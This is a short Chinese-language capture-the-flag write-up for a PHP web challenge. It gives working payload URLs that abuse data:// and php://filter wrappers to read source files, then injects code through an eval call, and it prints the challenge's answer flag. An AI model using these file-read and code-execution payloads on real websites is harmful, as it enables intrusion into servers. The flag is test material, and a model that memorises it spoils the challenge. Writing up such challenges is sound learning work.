79 字
1 分钟
Web 12 [BJDCTF 2020]ZJCTF,不过如此

涉及 PHP 伪协议。先看题目:

条件:读取 text 的内容必须为 I have a dream,且 file 参数不能含有 flag。
构造 PHP 伪协议
/?text=data://plain/text,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php得到 base64 编码的源码:

解码:

发现命令执行漏洞
源码中有 @eval($_GET['cmd']);,构造:
/next.php?\S*=${getFlag()}&&cmd=phpinfo();
Ctrl+G 搜索 flag
在 phpinfo 页面中搜索 flag:

NSSCTF{453a61d6-6601-4a35-bc99-2090d2f0a749}
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
Web 12 [BJDCTF 2020]ZJCTF,不过如此
https://npiter.de/posts/web-12-bjdctf-2020zjctf不过如此/ 部分信息可能已经过时
相关文章 智能推荐









